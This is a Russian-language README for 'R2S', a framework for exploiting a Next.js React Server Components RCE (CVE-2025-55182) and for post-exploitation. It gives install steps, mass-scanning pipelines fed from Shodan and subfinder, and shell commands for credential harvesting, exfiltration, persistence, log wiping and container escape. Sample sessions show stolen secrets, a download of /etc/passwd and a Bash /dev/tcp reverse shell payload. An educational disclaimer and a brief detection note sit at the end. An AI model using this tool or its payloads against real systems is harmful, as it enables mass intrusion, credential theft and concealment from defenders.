R2S — это комплексный фреймворк для эксплуатации и пост-эксплуатации, нацеленный на уязвимость React Server Components в Next.js (CVE-2025-55182). Он предоставляет интерактивную оболочку с расширенными возможностями для тестирования на проникновение, включая передачу файлов, закрепление в системе, перечисление ресурсов, проверки повышения привилегий и многое другое.
Продвинутый фреймворк пост-эксплуатации для RCE в React Server Components Next.js
Возможности • Установка • Использование • Команды • Примеры
R2S — это комплексный фреймворк эксплуатации и пост-эксплуатации, нацеленный на уязвимость React Server Components Next.js (CVE-2025-55182). Он предоставляет интерактивную оболочку с расширенными возможностями для пентестинга, включая передачу файлов, закрепление, разведку, проверки на повышение привилегий и многое другое.
.env и конфигурационные файлы# Python 3.6 или выше
python3 --version
# Установка зависимостей
pip3 install requests urllib3
# Клонируйте или скачайте инструмент
cd r2s-main
# Сделайте исполняемым (опционально)
chmod +x r2s_enhanced.py
# Запустите инструмент
python3 r2s_enhanced.py -h
python3 r2s_enhanced.py [ОПЦИИ]
| Параметр | Описание | По умолчанию |
|---|---|---|
-u, --url | URL одной цели | - |
-l, --list | Файл со списком URL | - |
-c, --cmd | Начальная команда для выполнения | id |
-t, --threads | Количество потоков сканирования | 30 |
-p, --proxy | HTTP-прокси (например, http://127.0.0.1:8080) | - |
-v, --verbose | Включить подробный вывод | False |
--http-port | Порт HTTP-сервера для передачи файлов | 8000 |
python3 r2s_enhanced.py -u http://target.com
python3 r2s_enhanced.py -l targets.txt -t 50
cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py
Получив доступ RCE, вы войдёте в интерактивную оболочку со следующими командами:
upload <local_file> <remote_path> # Загрузить файл на цель
download <remote_file> <local_path> # Скачать файл с цели
cd <directory> # Сменить рабочую директорию
pwd # Показать текущую директорию
enum # Полная разведка системы
privesc # Проверки на повышение привилегий
harvest # Сбор учётных данных
portscan <ip> # Сканирование портов внутренней сети
memdump [pid] # Дамп памяти процесса для поиска секретов
lateral # Возможности горизонтального перемещения
escape # Векторы побега из контейнера
exfil [type] # Эксфильтрация данных (env/config/keys/db/logs/all)
reverse <lhost> <lport> # Попробовать несколько полезных нагрузок реверс-шелла
persist # Добавить базовое закрепление
advpersist # Добавить расширенное закрепление
stealth # Очистить логи и заметать следы
save # Сохранить текущую сессию
help, ? # Показать справку
exit, quit # Выйти из интерактивной оболочки
Выполняйте любые команды оболочки напрямую:
whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd
$ python3 r2s_enhanced.py -u http://vulnerable-app.com
_ __ __ ____
/ | / /__ _ __/ /_/ __ \________
/ |/ / _ \| |/_/ __/ /_/ / ___/ _ \
/ /| / __/> </_ _/ _, _/ /__/ __/
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/
Next.js RSC Exploit Tool (CVE-2025-55182)
Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)
>> CREDIT( G4rxd )
[*] Загружена 1 цель. Запуск сканирования с 30 потоками...
[*] Команда полезной нагрузки: id
[VULN] http://vulnerable-app.com >>> RCE УСПЕХ
Вывод: uid=1000(node) gid=1000(node) groups=1000(node)
[+] Запущена интерактивная оболочка RCE с сохранением состояния. Введите 'help' для списка команд.
[*] Расширенные возможности: enum, privesc, persist, portscan, harvest, stealth
[*] Новые возможности: memdump, lateral, escape, exfil, advpersist, reverse
[+] HTTP-сервер запущен на 192.168.1.100:8000
next-rce:/app$
next-rce:/app$ enum
[*] Запуск автоматизированной разведки...
============================================================
[*] Информация о системе
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
============================================================
[*] Текущий пользователь
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)
============================================================
[*] Обнаружение контейнера
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Обнаружен контейнер Docker]
...
# Загрузка файла
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Загрузка /tmp/exploit.sh (2048 байт) через HTTP...
[+] Загрузка успешна!
-rwxr-xr-x 1 node node 2048 Dec 12 03:28 /var/tmp/exploit.sh
# Скачивание файла
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Скачивание /etc/passwd через HTTP...
[+] Скачивание успешно! (1523 байт)
Сохранено в: ./passwd.txt
next-rce:/app$ harvest
[*] Сбор учётных данных...
[*] Переменные окружения:
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[*] Файлы .env:
/app/.env
/app/.env.production
/var/www/.env.local
[*] SSH-ключи:
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa
...
next-rce:/app$ reverse 192.168.1.100 4444
[*] Запуск попыток реверс-шелла на 192.168.1.100:4444
[!] Убедитесь, что у вас запущен слушатель: nc -lvnp 4444
[*] Попытка 25 различных полезных нагрузок реверс-шелла...
[1/25] Попытка Bash TCP... ✓ Выполнено
[?] Получено соединение? (y/n/s для остановки): y
[+] УСПЕХ! Реверс-шелл установлен с помощью: Bash TCP
[*] Полезная нагрузка: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
$ cat targets.txt
http://app1.example.com
http://app2.example.com
http://app3.example.com
$ python3 r2s_enhanced.py -l targets.txt -t 50
[*] Загружено 3 цели. Запуск сканирования с 50 потоками...
[VULN] http://app1.example.com >>> RCE УСПЕХ
[VULN] http://app3.example.com >>> RCE УСПЕХ
[*] Сканирование завершено.
next-rce:/app$ privesc
[*] Проверка векторов повышения привилегий...
[*] SUID-бинарники:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
[*] Права sudo:
Пользователь node может выполнять следующие команды:
(ALL : ALL) NOPASSWD: /usr/bin/docker
[*] Сокет Docker:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] Группа docker:
В группе docker — ЭКСПЛУАТИРУЕМО!
...
next-rce:/app$ escape
[*] Проверка векторов побега из контейнера...
[*] Тип контейнера:
12:devices:/docker/a1b2c3d4e5f6
[*] Привилегированный контейнер:
PRIVILEGED
[*] Сокет Docker:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] Возможности:
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Полные возможности — контейнер привилегированный]
...
Инструмент включает более 25 полезных нагрузок реверс-шелла на нескольких языках и техниках:
Автоматически обнаруживает и извлекает учётные данные из:
Идентифицирует и анализирует:
ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ТЕСТОВ
Этот инструмент предоставляется исключительно для образовательных целей и авторизованного пентестинга. Использование этого инструмента для атак на цели без предварительного обоюдного согласия незаконно. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.
Требования для законного использования:
Обнаружение:
Next-Actionchild_process.execSync в логах Next.jsСмягчение:
Вклад приветствуется! Пожалуйста, убедитесь, что все вклады предназначены только для образовательных и защитных целей безопасности.
G4rxd
Этот проект лицензирован только для образовательных и авторизованных целей тестирования.
⚡ Этичного вам хакинга! ⚡
Помните: с большой силой приходит большая ответственность.